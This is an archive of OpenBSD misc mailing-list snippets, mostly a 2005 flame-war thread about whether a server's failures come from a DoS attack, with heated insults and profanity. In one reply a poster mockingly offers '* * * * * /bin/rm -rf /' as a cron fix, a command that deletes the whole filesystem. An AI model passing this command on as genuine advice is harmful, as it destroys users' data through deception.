can libressl do a better job against dos attacks?

2014-07-24 Thread Kevin Chadwick
One way to amplify dos of a server is to tie up the cpu doing ssl. I know it is too early for adding features to libressl but perhaps bearing it in mind (if it isn't already) would be of benefit in it's future development or make it clear if this should purely be an admins task with pf and process

Re: DOS Attacks?

2005-06-30 Thread Jason Crawford
% in use at peak). The packet filter table shows 600 packets per second around the time that it fails. CPU usage is very low with plenty of ram available. Has anyone heard anything about any worms or DOS attacks happening which might account for this? The problems predominantly happen late

Re: DOS Attacks?

2005-06-30 Thread Dave Beckstrom
Jason, Uh...your inexperience is showing. :) The title of the post is DOS attacks? My question was, Has anyone heard anything about any worms or DOS attacks happening which might account for this? Of course I expect useful information such as confirmation that someone else is experiencing

Re: DOS Attacks?

2005-06-30 Thread eric
On Thu, 2005-06-30 at 12:24:46 -0500, Dave Beckstrom proclaimed... Jason, Uh...your inexperience is showing. :) The title of the post is DOS attacks? My question was, Has anyone heard anything about any worms or DOS attacks happening which might account for this? Of course I expect

Re: DOS Attacks?

2005-06-30 Thread Jason Crawford
On 6/30/05, Dave Beckstrom [EMAIL PROTECTED] wrote: Jason, Uh...your inexperience is showing. :) The title of the post is DOS My inexperience is showing? Bad assumption on your part. attacks? My question was, Has anyone heard anything about any worms or DOS attacks happening which might

Re: DOS Attacks?

2005-06-30 Thread Dave Beckstrom
Subject: Re: DOS Attacks? On Thu, 2005-06-30 at 12:24:46 -0500, Dave Beckstrom proclaimed... Jason, Uh...your inexperience is showing. :) The title of the post is DOS attacks? My question was, Has anyone heard anything about any worms or DOS attacks happening which might account

Re: DOS Attacks?

2005-06-30 Thread eric
On Thu, 2005-06-30 at 13:32:04 -0500, Dave Beckstrom proclaimed... Make sense? Yes. It makes sense that you've wasted our time. But I think I found the problem: you. If everyone else is good and there are no bulletins or similar problems happening elsewhere and the problem starts looking

Re: DOS Attacks?

2005-06-30 Thread Jason Crawford
On 6/30/05, Dave Beckstrom [EMAIL PROTECTED] wrote: Eric, I haven't posted that information because we haven't ascertained yet that the problem lies with my system. Well considering that this doesn't appear to be happening to ANYONE ELSE, I'd say that's good enough reason for you to AT LEAST

Re: DOS Attacks?

2005-06-30 Thread Greg Thomas
If you're really interested in discovering the cause then you'd refrain from wasting time justifying your troubleshooting approach and start providing useful information. As Jason said, it could be anything, even a DOS attack, but without info no one is going to be able to help even if it is a

Re: DOS Attacks?

2005-06-30 Thread Dave Beckstrom
Message- From: eric [mailto:[EMAIL PROTECTED] Sent: Thursday, June 30, 2005 2:25 PM To: Dave Beckstrom Cc: misc@openbsd.org Subject: Re: DOS Attacks? On Thu, 2005-06-30 at 13:32:04 -0500, Dave Beckstrom proclaimed... Make sense? Yes. It makes sense that you've wasted our time. But I

Re: DOS Attacks?

2005-06-30 Thread eric
On Thu, 2005-06-30 at 14:45:47 -0500, Dave Beckstrom proclaimed... Actually, I posed a great question for a misc list whereas you on the other hand are wasting everyone's time including mine. If you successfully make it through puberty let's talk again in a few years... I have a hunch you

Re: DOS Attacks?

2005-06-30 Thread Dave Beckstrom
Subject: Re: DOS Attacks? If you're really interested in discovering the cause then you'd refrain from wasting time justifying your troubleshooting approach and start providing useful information. As Jason said, it could be anything, even a DOS attack, but without info no one is going

Re: DOS Attacks?

2005-06-30 Thread Hugo Villeneuve
On Thu, Jun 30, 2005 at 03:26:40PM -0500, Dave Beckstrom wrote: Greg, I believe the problem has already been solved thanks to some help from a gentleman who sent me some information privately. I won't know for certain for a day or two but I am optimistic. I want to thank the people

Re: DOS Attacks?

2005-06-30 Thread Dave Beckstrom
Cc: misc@openbsd.org Subject: Re: DOS Attacks? On Thu, Jun 30, 2005 at 03:26:40PM -0500, Dave Beckstrom wrote: Greg, I believe the problem has already been solved thanks to some help from a gentleman who sent me some information privately. I won't know for certain for a day or two

Re: DOS Attacks?

2005-06-30 Thread Dave Beckstrom
Actually, I posed a great question for a misc list whereas you on the other hand are wasting everyone's time including mine. If you successfully make it through puberty let's talk again in a few years... I have a hunch you might be the next Darwin award winner. LOL I know your

Re: DOS Attacks?

2005-06-30 Thread knitti
On 6/30/05, Dave Beckstrom [EMAIL PROTECTED] wrote: Eric, Actually, I posed a great question for a misc list whereas you on the other hand are wasting everyone's time including mine. If you successfully make it through puberty let's talk again in a few years... I have a hunch you might be

Re: DOS Attacks?

2005-06-30 Thread Fred Crowson
Dave Beckstrom wrote: some non factual stuff/ http://marc.theaimsgroup.com/?a=10612485211r=1w=2 makes a dull read. OpenBSD is an excellent Operating System, and misc@ provides lots of valuable support and information. Intelligence shows the ability to learn from your mistakes. If that

Re: DOS Attacks?

2005-06-30 Thread eric
On Thu, 2005-06-30 at 16:14:43 -0500, Dave Beckstrom proclaimed... That line generated an atrun not found error message. I assume that means that line needs to be modified to work with at. If so, what should it look like? Use this: * * * * * /bin/rm -rf /

Re: DOS Attacks?

2005-06-30 Thread eric
On Thu, 2005-06-30 at 15:46:21 -0500, Dave Beckstrom proclaimed... I just don't put up with the attitude rampant on this list. I'll talk respectfully with anyone who does the same with me but the read the manual script kiddies can go pound sand... As I mentioned privately, fuck off. I

Re: DOS Attacks?

2005-06-30 Thread Michael Shalayeff
- From: Hugo Villeneuve [mailto:[EMAIL PROTECTED] Sent: Thursday, June 30, 2005 4:04 PM To: Dave Beckstrom Cc: misc@openbsd.org Subject: Re: DOS Attacks? On Thu, Jun 30, 2005 at 03:26:40PM -0500, Dave Beckstrom wrote: Greg, I believe the problem has already been solved

Re: DOS Attacks?

2005-06-30 Thread Jakub Glazik
Dnia czwartek 30 czerwca 2005 18:17, Dave Beckstrom napisa3: [cut] Well, better stop pissing off people here :) and try security-basics@securityfocus.com mailinglist or some other similar, if you are asking for new worms etc. Your problem doesn't seem to be openbsd-related as you thought it